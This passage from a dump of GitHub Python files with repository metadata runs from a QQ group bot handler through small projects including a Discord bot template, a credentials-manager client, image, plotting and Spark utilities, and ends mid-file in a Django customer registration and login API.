({user_id})通过{sub_type}方式离开本群，操作者QQ({operator_id})\"\n            await HansyQQGroupUserInfo.add_info(group_id=group_id, user_id=user_id, info=info)\n\n    @classmethod\n    async def handle_request(cls, context):\n        logging.info(f\"Request context: {context}\")\n        if context[\"request_type\"] != \"group\":\n            return\n\n        user_id = context[\"user_id\"]\n        comment = context[\"comment\"]\n        group_id = context[\"group_id\"]\n\n        sub_type = context[\"sub_type\"]\n        if sub_type == \"add\":\n            sub_type = \"主动添加\"\n        elif sub_type == \"invite\":\n            sub_type = \"群内成员邀请\"\n\n        logging.info(f\"Add group request: user_id: {user_id}, comment: {comment}, group_id: {group_id}\")\n        if group_id == 591691708:\n            return {'approve': True}\n\n        elif group_id in (436496941, 159855203):\n            now = str(datetime.datetime.now())[:19]\n            user_info = await HansyQQGroupUserInfo.get_info(group_id=group_id, user_id=user_id)\n\n            if user_info:\n                info = f\"{now} QQ({user_id})通过{sub_type}方式尝试加入本群，初号机未处理。验证信息: {comment}\"\n                await HansyQQGroupUserInfo.add_info(group_id=group_id, user_id=user_id, info=info)\n\n                split = \"\\n\" + \"-\" * 30 + \"\\n\"\n                user_info_str = split.join([info] + user_info)\n                message = f\"发现已退出本群成员的重新加群请求！相关记录如下：\\n\\n{user_info_str}\"\n                logging.info(message)\n\n                if len(message) > 700:\n                    message = message[:700] + \"...\"\n                bot.send_group_msg(group_id=group_id, message=message)\n\n            else:\n                info = f\"{now} QQ({user_id})通过{sub_type}方式加入本群，由初号机审核通过。验证信息: {comment}\"\n                await HansyQQGroupUserInfo.add_info(group_id=group_id, user_id=user_id, info=info)\n                return {'approve': True}\n\n\nasync def handler(request):\n    x_self_id = int(request.headers['X-Self-ID'])\n    if x_self_id == 250666570:\n        return await zy_handler(request)\n\n    context = await request.json()\n\n    if context[\"post_type\"] == \"message\":\n        response = await BotHandler.handle_message(context)\n\n    elif context[\"post_type\"] == \"notice\":\n        response = await BotHandler.handle_notice(context)\n\n    elif context[\"post_type\"] == \"request\":\n        response = await BotHandler.handle_request(context)\n\n    else:\n        response = None\n\n    if isinstance(response, dict) and response:\n        return web.Response(text=json.dumps(response), content_type=\"application/json\")\n    else:\n        return web.Response(text=\"\", status=204)\n","repo_name":"pjy612/stormgift","sub_path":"website/handlers/cq.py","file_name":"cq.py","file_ext":"py","file_size_in_byte":9055,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"31370040258","text":"#Import the discord library (necessary)\nimport discord\n#Import the os library\nimport os\n#Import the random library (only necessary if you need random values)\nimport random\n\n#First, save BOT_TOKEN (you can pick a different name if you want) as an environment variable with your bot's Token\n#Ex: BOT_TOKEN=123456789\n#If you need help setting an environment variable, go here: https://www.twilio.com/blog/how-to-set-environment-variables-html\n\n#This line stores that environment variable as another, usable, variable\nBotToken = os.environ[\"BOT_TOKEN\"]\n\n#Establishes a discord client with all Intents\n#IMPORTANT WARNING: Depending on your use case, it might not be wise to enable all Intents\n#You can learn more about what the Intets are, and which you need here:\n#https://discordpy.readthedocs.io/en/stable/intents.html\n#Also, any Intents you enable here, must be enabled in the Developer Portal\nclient = discord.Client(intents=discord.Intents.all())\n\n#This is run as soon as your bot is online\n@client.event\nasync def on_ready():\n    print(f\"{client.user} has connected.\") \n    #Note: The print statement can be anything you want, it is just for you to know a connection has been established\n\n#This is run whenever an Event occurs (more info on Events are found in Discord's API documentation)\n@client.event\n#on_message is triggered when a message is sent. \"message\" contains the Message Object\nasync def on_message(message):\n    #This if statement checks if the bot was the one who sent the message. If so, we end this call (to prevent recusive calls)\n    if message.author == client.user:\n        return\n    #Replace phrase (but keep the quotes) to whatever phrase you want your bot to respond to\n    elif \"phrase\" in message.content.lower():\n        #This part allows the bot to randomly choose from a list of responses.\n        #This part may be omitted if you don't need randomization\n        responseIndex = random.randint(0, 3) #Change 3 to the # of options - 1\n        responses = [\"Response0\", \"Response1\", \"Response2\", \"Response3\"]\n        \n        #This sends the selected response to the same channel the initial message came from\n        #responses[responseIndex] can be replaced with any String if you only want 1 output option\n        await message.channel.send(responses[responseIndex])\n\n#This part actually gets your code to run\nclient.run(BotToken)\n","repo_name":"Devinator26/DiscordBotTemplate","sub_path":"BotTemplate.py","file_name":"BotTemplate.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"71020357128","text":"def test_abrt_uninstalled_or_stopped_and_disabled(host):\n    abrt = host.package(\"abrt\")\n    if abrt.is_installed:\n        abrtd_service = host.service(\"abrtd\")\n        assert not abrtd_service.is_running\n        assert not abrtd_service.is_enabled\n\ndef test_abrt_ccpp_uninstalled_or_stopped_and_disabled(host):\n    abrt_ccpp = host.package(\"abrt-addon-ccpp\")\n    if abrt_ccpp.is_installed:\n        abrt_ccpp_service = host.service(\"abrt-ccpp\")\n        assert not abrt_ccpp_service.is_running\n        assert not abrt_ccpp_service.is_enabled\n","repo_name":"berndfinger/testinfra-sap","sub_path":"sap-hana-preconfigure/generic/test_abrt.py","file_name":"test_abrt.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"70812789768","text":"import torch\r\nimport torchvision\r\n\r\nclass CombineImageBatch:\r\n\tdef __init__(self):\r\n\t\tpass\r\n\r\n\t@classmethod\r\n\tdef INPUT_TYPES(s):\r\n\t\treturn {\r\n\t\t\t\"required\": {\r\n\t\t\t\t\"images_a\": (\"IMAGE\",),\r\n\t\t\t\t\"images_b\": (\"IMAGE\",),\r\n\t\t\t}\r\n\t\t}\r\n\r\n\tRETURN_TYPES = (\"IMAGE\",)\r\n\tRETURN_NAMES = (\"images\",)\r\n\tFUNCTION = \"combine_images\"\r\n\tCATEGORY = \"remote\"\r\n\r\n\tdef combine_images(self,images_a,images_b):\r\n\t\ttry:\r\n\t\t\tout = torch.cat((images_a,images_b), 0)\r\n\t\texcept RuntimeError:\r\n\t\t\tprint(f\"Imagine size mismatch! {images_a.size()}, {images_b.size()}\")\r\n\t\t\tout = images_a\r\n\t\treturn (out,)\r\n","repo_name":"city96/ComfyUI_NetDist","sub_path":"nodes/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":35,"dataset":"github-code","pt":"16"}
+{"seq_id":"31216705063","text":"\"\"\"\nLeia um ângulo em radianos (R) e apresente-o convertido em graus (G).\nA fórmula de conversão é:\nG = R * 180 / π\nSendo π => 3.14\n\n\"\"\"\n\n# Enter\n\n\nr = float(input('Informe o valor em radianos: '))\n\n# Processing\n\n\ng = r * (180 / 3.14)\n\n# Exit\n\nprint(f'Um ângulo de {r} radianos possui {g} graus')\n","repo_name":"vanderleikoziol/koziol-git1","sub_path":"secao04/secao04_exercicio15.py","file_name":"secao04_exercicio15.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"53357715676","text":"\nfrom scipy.stats import unitary_group\nfrom scipy.linalg import dft\nimport numpy as np\nclass LinearCircuit():\n    \"\"\"Linear Circuit\n    Circuit design for consitent matrix multiplications across a long circuit\n    \"\"\"\n    def __init__(self,verbose=0):\n        self.C=[]\n        self.shape=(0,0)\n        self.verbose=verbose\n        self.printVerbose('[[Circuit]] Initilized a new circuit')\n    \n    def updateShape(self):  \n        \"\"\"\n        Updates shape of the circuit after all internal matricies are multiplied\n        \"\"\"\n        if len(self.C) ==0:\n                self.shape=(0,0)\n        else :\n                self.shape= (self.C[-1].shape[0],self.C[0].shape[1])      \n                \n    def printVerbose(self,message):\n        \"\"\"\n        for Verbose messages\n        \"\"\"\n        if self.verbose>0:\n            print(message)\n                    \n    def checkPos(self,i,min=1,max=None):\n        \"\"\"\n        Checks if a given position i is in the circuit\n        \"\"\"\n        if max is None:\n            max=self.getCirLen()+1\n        if i not in range(min,max):\n            raise(Exception('Position should be between 1 and '+str(self.getCirLen())))\n        \n    def add(self,U):   \n        \"\"\"Add layer to a circuit\n        \"\"\"\n        U=np.matrix(U)\n\n        if len(self.C) ==0:\n            self.C.append(U)\n            self.printVerbose('[[Circuit:Add]] Added new matrix:'+str(U))\n        else:\n            if self.shape[0] == U.shape[1]:\n                self.C.append(U)\n                self.printVerbose('[[Circuit:Add]] Added new matrix'+str(U))\n            else:\n                raise(Exception('Shape of the supplied operation '+str(self.shape)+' is not appendable to the circuit '+str(U.shape)))\n        self.updateShape()\n\n        \n                \n    def getLayer(self,i):  \n        \"\"\"get ith layer of circuit\n        \"\"\"\n        self.checkPos(i)\n        return self.C[i-1]\n    \n    def getCirLen(self):  \n        \"\"\"get length of circuit\n        \"\"\"\n        return len(self.C)\n    \n    def updateLayer(self,Vm,i):  \n        \"\"\"update layer in a circuit\n        \n        Changes a matrix in the cirucit\n        \"\"\"\n        V=np.matrix(Vm)\n        self.checkPos(i)\n            \n        condR=(V.shape[0]==self.getLayer(i).shape[0]) #condition for same Rows\n        condC=(V.shape[1]==self.getLayer(i).shape[1]) #condition for same columns\n        \n        if (condR and condC) or (i==1 and condR) or (i==self.getCirLen() and condC):\n            self.C[i-1]=V\n            self.printVerbose('[[Circuit:UpdateLayer]] Updated Layer at position'+str(i))\n        else:\n            raise(Exception('Dimension mismatch between new'+str(V.shape)+' and previous operation '+str(self.getLayer(i).shape)+'at position'+str(i)))\n \n    \n    def print(self,precision=1,supp_small=True):  #print circuit\n        \"\"\"\n        Prints the matricies involved in the circuit\n        \"\"\"\n        for C in self.C:\n            print(np.array_str(C,precision=precision,suppress_small=supp_small ))\n            print('=>=>=>')\n            \n            \n    def solve(self,x,dir,pos,use_inverse_for_bkwd=False):  \n        \"\"\"Solve circuit in forward or backward direction till a certain position\n        \n        dir can be 1 or -1, x is the input array\n        \"\"\"\n        if dir not in [1,-1]:\n            raise(Exception('Direction can only be -1 or 1'))\n        #lenX=x.shape[1]\n        x=np.matrix(np.array(x)).T #Conv to a column matrix\n        self.checkPos(pos,min=0)\n        dir01=np.int((dir+1)/2)  #conv dir 1,-1 to 0,1\n            \n        nx=x[:]\n        if dir==1:\n            for V in self.C [:pos]:\n                nx=V@nx\n        else:\n            for V in self.C[::-1][:self.getCirLen()-pos]:\n                if use_inverse_for_bkwd:\n                    nx=np.linalg.inv(V)@nx\n                else:\n                    nx=(V.conj().T)@nx\n        self.printVerbose('[[Circuit:Solve]] Solved for x at position'+str(pos)+'in direction '+str(dir))\n        return np.array(nx.T).squeeze()\n      \n    def solve_pos(self,x,pos1,pos2,use_inverse_for_bkwd=False):  \n        \"\"\"Solve circuit from given position to other position till a certain position for a given array of input vectors\n        \"\"\"\n\n        lenX=len(x)\n        x=np.matrix(np.array(x)).T #Conv to a column matrix\n        self.checkPos(pos1,min=0)\n        self.checkPos(pos2,min=0)\n        nx=x[:]\n        if pos2>pos1:\n            for V in self.C [pos1:pos2]:\n                nx=V@nx\n        else:\n            for V in self.C[pos2:pos1][::-1]:\n                if use_inverse_for_bkwd:\n                    nx=np.linalg.inv(V)@nx\n                else:\n                    nx=(V.conj().T)@nx\n        self.printVerbose('[[Circuit:Solve]] Solved for x from position'+str(pos1)+'to position '+str(pos2))\n        return np.array(nx.T).squeeze()#[0]\n      ","repo_name":"BBQuantum/simulations_top_down_design","sub_path":"linear_circuit.py","file_name":"linear_circuit.py","file_ext":"py","file_size_in_byte":4822,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"11735781461","text":"import logging\n\nfrom credsmgrclient.common.constants import provider_values\nfrom credsmgrclient.encrypt import ENCRYPTOR\n\nLOG = logging.getLogger(__name__)\n\n\ndef _get_encrypted_values(provider):\n    try:\n        return provider_values[provider]['encrypted_values']\n    except KeyError:\n        raise Exception(\"Provider %s is not valid\" % provider)\n\n\ndef _decrypt_creds(creds, encrypted_values):\n    for k, v in creds.items():\n        if k in encrypted_values:\n            creds[k] = ENCRYPTOR.decrypt(v)\n\n\nclass CredentialManager(object):\n\n    def __init__(self, http_client):\n        self.client = http_client\n\n    def credentials_get(self, provider, tenant_id):\n        \"\"\"Get the information about Credentials.\n        :param provider: Name of Omni provider\n        :type: str\n        :param tenant_id: tenant id to look up\n        :type: str\n        :rtype: dict\n        \"\"\"\n        resp, body = self.client.get(\"/%s\" % provider,\n                                     data={\"tenant_id\": tenant_id})\n        LOG.debug(\"Get Credentials response: {0}, body: {1}\".format(\n            resp, body))\n        if body:\n            encrypted_values = _get_encrypted_values(provider)\n            _decrypt_creds(body, encrypted_values)\n        return resp, body\n\n    def credentials_list(self, provider):\n        \"\"\"Get the information about Credentials for all tenants.\n        :param provider: Name of Omni provider\n        :type: str\n        :rtype: dict\n        \"\"\"\n        resp, body = self.client.get(\"/%s/list\" % provider)\n        LOG.debug(\"Get Credentials list response: {0}, body: {1}\".format(\n            resp, body))\n        if body:\n            encrypted_values = _get_encrypted_values(provider)\n            for creds in body.values():\n                _decrypt_creds(creds, encrypted_values)\n        return resp, body\n\n    def credentials_create(self, provider, **kwargs):\n        \"\"\"Create a credential.\n        :param provider: Name of Omni provider\n        :type: str\n        :param body: Credentials for Omni provider\n        :type: dict\n        :rtype: dict\n        \"\"\"\n        resp, body = self.client.post(\"/%s\" % provider,\n                                      data=kwargs.get('body'))\n        LOG.debug(\"Post Credentials response: {0}, body: {1}\".format(resp,\n                                                                     body))\n        return resp, body\n\n    def credentials_delete(self, provider, credential_id):\n        \"\"\"Delete a credential.\n        :param provider: Name of Omni provider\n        :type: str\n        :param credential_id: ID for credential\n        :type: str\n        \"\"\"\n        resp, body = self.client.delete(\"/%s/%s\" % (provider, credential_id))\n        LOG.debug(\"Delete Credentials response: {0}, body: {1}\".format(\n            resp, body))\n\n    def credentials_update(self, provider, credential_id, **kwargs):\n        \"\"\"Update credential.\n        :param provider: Name of Omni provider\n        :type: str\n        :param credential_id: ID for credential\n        :type: str\n        \"\"\"\n        resp, body = self.client.put(\"/%s/%s\" % (provider, credential_id),\n                                     data=kwargs.get('body'))\n        LOG.debug(\"Update Credentials response: {0}, body: {1}\".format(\n            resp, body))\n        return resp, body\n\n    def credentials_association_create(self, provider, credential_id,\n                                       **kwargs):\n        resp, body = self.client.post(\n            \"/%s/%s/association\" % (provider, credential_id),\n            data=kwargs.get('body'))\n        LOG.debug(\"Create Association response: {0}, body: {1}\".format(\n            resp, body))\n\n    def credentials_association_delete(self, provider, credential_id,\n                                       tenant_id):\n        resp, body = self.client.delete(\n            \"/%s/%s/association/%s\" % (provider, credential_id, tenant_id))\n        LOG.debug(\"Delete Association response: {0}, body: {1}\".format(\n            resp, body))\n\n    def credentials_association_list(self, provider):\n        resp, body = self.client.get(\"/%s/associations\" % provider)\n        LOG.debug(\"List associations response: {0}, body: {1}\".format(\n            resp, body))\n        return resp, body\n","repo_name":"kurisukotetsu/omni","sub_path":"credsmgrclient/v1/credentials.py","file_name":"credentials.py","file_ext":"py","file_size_in_byte":4230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"12602738778","text":"#!/usr/bin/env python\n# coding: utf-8\nimport re\nimport sys\nimport matplotlib\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.patches import Rectangle\nimport math\n# Reading the data from the text file\n\n\nif len(sys.argv) != 2:\n    raise RuntimeError('Input Error: Requires the name of the data file you want to run.')\nfile_name = sys.argv[1]\nwith open(file_name) as f:\n    raw_text = f.readlines()\ndata = [line.strip() for line in raw_text]\n\nwith open('newfile.txt') as f:\n    raw_text2 = f.readlines()\ndata2 = [line.strip() for line in raw_text2]\n# Parsing data\n# possible operational indicators: meanSignalLenght', 'amplCor', 'syncVar', 'metr6.velSum'\n# insert into variable\nvariable = ('metr6.velSum')\nall_data = [1]\nall_data2 = [1]\n\nfor line in data:\n    match = re.search('{} = ([0-9]+.[0-9]+) '.format(variable), line)\n    if match:\n        all_data.append(float(match.group(1)))\n\nfor line in data2:\n    match = re.search('{} = ([0-9]+.[0-9]+) '.format(variable), line)\n    if match:\n        all_data2.append(float(match.group(1)))\n# histogram\n\n# Colours for different percentiles\nperc_50_colour = 'mediumaquamarine'\n\n# Plot the Histogram from the random data\nx = np.arange(min(all_data2), max(all_data2),0.5)\n# fig, ax, counts, patches, bins = plt.hist(all_data, bins, facecolor= 'blue', alpha=0.5)\nfig, ax = plt.subplots(figsize=(10, 10))\ncounts, bins, patches = ax.hist(all_data, bins=x, range=[min(all_data2), max(all_data)], facecolor=perc_50_colour, edgecolor='gray')\n# Set the ticks to be at the edges of the bins.\nplt.xticks(np.arange(min(all_data2), max(all_data2)+.5, .5))\nplt.xticks(rotation=70)\n\n# Set the graph title and axes titles\nplt.ylabel('Count', fontsize=15)\nplt.xlabel('value of ' + variable + ' given ' + file_name, fontsize=15)\n\n# Calculate bar centre to display the count of data points and %\nbin_x_centers = 0.5 * np.diff(bins) + bins[:-1]\nbin_y_centers = ax.get_yticks()[1] * 0.2\n# Display the the count of data points and % for each bar in histogram\nfor i in range(len(bins) - 1):\n    bin_label = \"{0:,}\".format(counts[i]) + \"  ({0:,.2f}%)\".format((counts[i] / counts.sum()) * 100)\n    plt.text(bin_x_centers[i], bin_y_centers, bin_label, rotation=90, rotation_mode='anchor')\n# Annotation for bar values\nax.annotate('',\n            xy=(.85, .30), xycoords='figure fraction',\n            horizontalalignment='center', verticalalignment='bottom',\n            fontsize=10, bbox=dict(boxstyle=\"round\", fc=\"white\"),\n            rotation=-90)\n# display\nplt.show()\n","repo_name":"shellyganga/HMM20","sub_path":"hist_sl.py","file_name":"hist_sl.py","file_ext":"py","file_size_in_byte":2508,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"72993998087","text":"from datetime import datetime\nfrom app import db, documents\nfrom app.service import article_service, comment_service\n\n\ndef test():\n    article_json = {\n        'title': '1st Article',\n        'body': 'Hello world',\n        'tags': 'small talk',\n        'published_from': '2020-02-23 00:10:00',\n    }\n    len1 = len(article_service.get_by_tag('small talk')['hits']['hits'])\n    article_id = article_service.add(article_json)\n    len2 = len(article_service.get_by_tag('small talk')['hits']['hits'])\n    # test sync\n    assert len1+1 == len2\n\n    comment_json = {\n        'author': 'Zack',\n        'content': 'like',\n        'article_id': article_id,\n    }\n    comment_id = comment_service.add(comment_json)\n\n    article = article_service.get(article_id)\n    del article['lines']\n    article_json['published_from'] = datetime.strptime(article_json['published_from'], documents.datetime_format)\n    assert article_json == article\n    comment = comment_service.get(comment_id)\n    del comment['created_at']\n    assert comment_json == comment\n\n\ndef test_async():\n    article_json = {\n        'title': 'Async Article',\n        'body': 'Hello world',\n        'tags': 'small talk',\n        'published_from': '2020-02-23 00:10:00',\n        'comments': [\n            {'author': 'Zack', 'content': 'like'},\n            {'author': 'Sheldon', 'content': 'dislike'},\n        ],\n    }\n    article_id = article_service.add(article_json)\n\n    article = article_service.get(article_id)\n    del article['lines']\n    article_json['published_from'] = datetime.strptime(article_json['published_from'], documents.datetime_format)\n    assert article_json == article\n\n\nif __name__ == \"__main__\":\n    db.init_db()\n    test()\n    test_async()\n","repo_name":"cyr0930/python","sub_path":"flask_app/app/tests/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1715,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43847936310","text":"from __future__ import print_function\n\nimport argparse\nfrom pyspark import SparkConf\nfrom pyspark.sql import SparkSession\nfrom pyspark import SparkContext\nfrom kakakucom.model.item import RankedItemTable\nfrom catscore.db.mysql import MySQLConf\n\ndef main():\n    conf = SparkConf()\n    conf.setAppName('kakaku_robot')\n    sc: SparkContext = SparkContext(conf=conf)\n    spark:SparkSession = SparkSession(sc)\n\n    parser = argparse.ArgumentParser(description='pyspark app args')\n    parser.add_argument('-ip', '--input_path', type=str, required=True, help='input folder path')\n    parser.add_argument('-db', '--db_conf', type=str, required=True, help='input db conf path')\n    args = parser.parse_args()\n    print(\"todb_job: start\")\n    print(f\"args: {args}\")\n    mysql_conf = MySQLConf.from_json(args.db_conf)\n    print(f\"mysql_conf {mysql_conf}\")\n    df = RankedItemTable.from_local_as_df(spark, args.input_path)\n    RankedItemTable.overwrite_table(spark=spark, df=df, mysql_conf=mysql_conf)\n\n\nif __name__ == '__main__':\n    main()","repo_name":"rv-rescala/kakaku_robot","sub_path":"spark/todb_job.py","file_name":"todb_job.py","file_ext":"py","file_size_in_byte":1029,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28056710861","text":"#!/usr/bin/env python2.7\n\nfrom operator import attrgetter\n\nimport Image\nimport logging\nimport argparse\nimport os\n\nclass MyImage(object):\n  def __init__(self, path):\n    self.name = os.path.basename(path)\n    self.absPath = os.path.abspath(path)\n    self.startColor = 0\n\n    try:\n      logging.info('Loading image \"%s\".', self.name)\n      self.im = Image.open(self.absPath)\n    except IOError as ex:\n      raise SystemExit('Error: %s.' % ex)\n\n    logging.info('Image \"%s\" has %d colors.', self.name, self.uniqueColors)\n\n  @property\n  def uniqueColors(self):\n    return len(self.im.getcolors())\n\n  @property\n  def usedColors(self):\n    return sorted([num for _, num in self.im.getcolors()])\n\n  def getColor(self, num):\n    return self.im.getpalette()[num*3:(num+1)*3]\n\n  def remap(self, palette):\n    self.im.putpalette(palette)\n\n    colorMap = dict(\n        (y,x) for x,y in enumerate(self.usedColors, start=self.startColor))\n\n    self.im.putdata([colorMap[p] for p in self.im.getdata()])\n\n  def save(self, filename):\n    self.im.save(filename)\n    logging.info('Remapped image \"%s\" saved to \"%s\" file.', self.name, filename)\n\n\ndef main():\n  parser = argparse.ArgumentParser(\n      description=('Merges palettes from several images and remaps pixels to'\n        ' match colors.'))\n  parser.add_argument('-f', '--force', action='store_true',\n      help='If output image exists, the tool will overwrite it.')\n  parser.add_argument('-o', '--output', type=str, default='%',\n      help=('Pattern thet is used to give name to output files. '\n        'Use \"%%\" character to mark place where to insert original file name '\n        '(without extension). Original file extension will be preserved. '\n        '(Example: \"my-%%-new\" for \"image.png\" will give '\n        '\"my-image-new.png\")'))\n  parser.add_argument('-t', '--target', type=str, default='.',\n      help='Directory where output files will be saved.')\n  parser.add_argument('input', metavar='IMAGE', type=str, nargs='+',\n      help='Input image filename.')\n  args = parser.parse_args()\n\n  if args.output.count('%') != 1:\n    raise SystemExit('File name pattern \"%s\" must contain exactly one \"%%\" '\n        'character.' % args.output)\n\n  for path in args.input:\n    if not os.path.isfile(path):\n      raise SystemExit('Input file \"%s\" does not exists!' % path)\n\n  images = map(MyImage, args.input)\n\n  if sum(map(attrgetter('uniqueColors'), images)) > 256:\n    raise SystemExit('Cannot create merged palette if images have summarized'\n                     ' number of colors more than 256.')\n\n  logging.info('Calculating merged palette.')\n\n  commonPalette = []\n  unusedColor = 0\n\n  for image in images:\n    image.startColor = unusedColor\n\n    for color in image.usedColors:\n      commonPalette.extend(image.getColor(color))\n\n    unusedColor += len(image.usedColors)\n\n  for i in range(unusedColor, 256):\n    commonPalette.extend((i,i,i))\n\n  logging.info('Remapping images.')\n\n  prefix, suffix = args.output.split('%')\n\n  for image in images:\n    root, ext = os.path.splitext(image.name)\n    filename = \"\".join([prefix, root, suffix, ext])\n    path = os.path.join(args.target, filename)\n\n    image.remap(commonPalette)\n\n    if not os.path.exists(args.target):\n      os.makedirs(args.target)\n\n    if not os.path.exists(path) or args.force:\n      image.save(path)\n    else:\n      logging.warning('Skipped saving \"%s\" image - file already exists (use'\n          ' \"-f\" to override).', path)\n\n\nif __name__ == '__main__':\n  logging.basicConfig(level=logging.DEBUG, format=\"%(levelname)s: %(message)s\")\n\n  main()\n","repo_name":"cahirwpz/demoscene-aga","sub_path":"scripts/mergepal.py","file_name":"mergepal.py","file_ext":"py","file_size_in_byte":3552,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"16"}
+{"seq_id":"34140608630","text":"'''\r\nCreated on Oct 27, 2021\r\n'''\r\nimport sys\r\n\r\n\r\ninputlen = len(sys.argv)\r\n\r\nOddTotal = 0\r\nEvenTotal = 0\r\n\r\nfor i in range(1, inputlen):\r\n    num = int(sys.argv[i])\r\n    \r\n    if num % 2 == 0:\r\n        EvenTotal += num\r\n    else:\r\n        OddTotal += num\r\nprint('Odd sum: {}'.format(OddTotal))\r\nprint('Even sum: {}'.format(EvenTotal))\r\n            \r\n    \r\n","repo_name":"justinandrews111000/School","sub_path":"Chapter5Labs/007OddAndEvenCalc.py","file_name":"007OddAndEvenCalc.py","file_ext":"py","file_size_in_byte":358,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"25145609095","text":"import argparse\nimport os\nimport glob\nfrom google.cloud import language\nfrom google.cloud.language import enums\nfrom google.cloud.language import types\n\n\ndef print_result(annotations):\n    score = annotations.document_sentiment.score\n    magnitude = annotations.document_sentiment.magnitude\n\n    for index, sentence in enumerate(annotations.sentences):\n        sentence_sentiment = sentence.sentiment.score\n        print('Sentence {} has a sentiment score of {}'.format(\n            index, sentence_sentiment))\n\n    print('Overall Sentiment: score of {} with magnitude of {}'.format(\n        score, magnitude))\n    return 0\n\n\ndef analyze(file):\n    \"\"\"Run a sentiment analysis request on text within a passed filename.\"\"\"\n    client = language.LanguageServiceClient()\n\n    with open(file, 'r') as review_file:\n        # Instantiates a plain text document.\n        content = review_file.read()\n\n    document = types.Document(\n        content=content,\n        type=enums.Document.Type.PLAIN_TEXT)\n    annotations = client.analyze_sentiment(document=document)\n\n    # Print the results\n    print_result(annotations)\n\ndir = os.path.dirname(os.path.abspath(__file__))\nfilename = os.path.join(dir, '*.txt')\nclean_filename = os.path.basename(filename)\nentry_list = glob.glob(clean_filename)\nentry_list.remove('initial.txt')\nentry_list.sort(reverse = True)\n\nif __name__ == '__main__':\n    for file in entry_list:\n        analyze(file)\n","repo_name":"finkelmanje/Valence","sub_path":"playground.py","file_name":"playground.py","file_ext":"py","file_size_in_byte":1426,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19607514912","text":"from django.shortcuts import render\nfrom rest_framework import serializers\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\nfrom rest_framework.permissions import IsAuthenticated\nfrom django.utils.decorators import method_decorator\nfrom django.views.decorators.csrf import csrf_exempt\nfrom django.db.models import Q\nfrom sales.models import User, Shipments, Products, Orders, OrderProducts, OrderShipments\nimport logging\nimport traceback\nfrom datetime import datetime\n\nlogger = logging.getLogger(__name__)\n\nclass CustomerRegisterSerializer(serializers.Serializer):\n    first_name = serializers.CharField(max_length=30)\n    last_name = serializers.CharField(max_length=30)\n    email = serializers.EmailField(max_length=60)\n    username = serializers.CharField(max_length=30)\n    password = serializers.CharField(max_length=100)\n\nclass CustomerLoginSerializer(serializers.Serializer):\n    username = serializers.CharField(max_length=30)\n    password = serializers.CharField(max_length=100)\n\n\nclass CustomerOrderCreateSerializer(serializers.Serializer):\n    customer_id = serializers.IntegerField()\n    items = serializers.ListField()\n    amount= serializers.DecimalField(6,2)\n\nclass ShipmentDetailsSerializer(serializers.Serializer):\n    shipmentId = serializers.IntegerField()\n    \n\nclass CustomAPIResponse():\n\n    def __init__(self, **kwargs):\n        self.response = {\n            \"success\": kwargs.get('success'),\n            \"errors\": kwargs.get('errors', {}),\n            \"data\": kwargs.get('data', {}),\n        }\n\nclass CustomerRegisterViewSet(APIView):\n\n    @method_decorator(csrf_exempt)\n    def post(self, request, format=None):\n        logger.info(\"*** CustomerRegisterViewSet POST or Update Request Process start ***\")\n        logger.info(request.data)\n        try:\n            serializer = CustomerRegisterSerializer(data=request.data)\n            if serializer.is_valid():\n                try:\n                    user_obj = User.objects.get(username=request.data['username'])\n                except User.DoesNotExist as e:\n                    user_obj = None\n                if user_obj is None:\n                    user_obj = User.objects.create(\n                            username=request.data['username'], \n                            email=request.data['email'], \n                            first_name=request.data['first_name'],\n                            last_name=request.data['last_name']\n                            )\n                    user_obj.set_password(request.data['password'])\n                    user_obj.is_active=True\n                    user_obj.save()\n                    status_code = 201\n                    context_data = {\"success\": True, \"data\": {\"message\": \"Customer A/c Registered successfully\"}}\n                else:\n                    status_code = 400\n                    context_data = {\"success\": False, \"errors\": {\"message\": \"Customer A/c Already Exist\"}}\n\n            else:\n                context_data = {\"success\": False, \"errors\": {\"message\": \"Validation Errors\", \"errors_list\": serializer.errors}}\n                status_code = 400\n        except Exception:\n            status_code = 500\n            logger.info(\"*** CustomerRegisterViewSet POST Exception {} ***\".format(traceback.format_exc()))\n            context_data = {\"success\": False, \"errors\": {\"message\": \"Internal Server Error\"}}\n\n        response_data = CustomAPIResponse(**context_data).response\n        logger.info(response_data)\n        logger.info(\"*** CustomerRegisterViewSet POST Request Process End ***\")\n        return Response(response_data, status=status_code)\n\n\nclass CustomerLoginViewSet(APIView):\n\n    @method_decorator(csrf_exempt)\n    def post(self, request, format=None):\n        logger.info(\"*** CustomerLoginViewSet POST or Update Request Process start ***\")\n        logger.info(request.data)\n        try:\n            serializer = CustomerLoginSerializer(data=request.data)\n            if serializer.is_valid():\n                try:\n                    user_obj = User.objects.get(Q(username=request.data['username']) & Q(is_active=True))\n                except User.DoesNotExist as e:\n                    user_obj = None\n                if user_obj:\n                    if user_obj.check_password(request.data['password']):\n                        status_code = 200\n                        context_data = {\"success\": True, \"data\": {\n                                                        \"message\": \"Customer Loggged In successfully\", \n                                                        \"username\" : user_obj.username, \n                                                        \"first_name\" : user_obj.first_name, \n                                                        \"last_name\" : user_obj.last_name, \n                                                        \"email\" 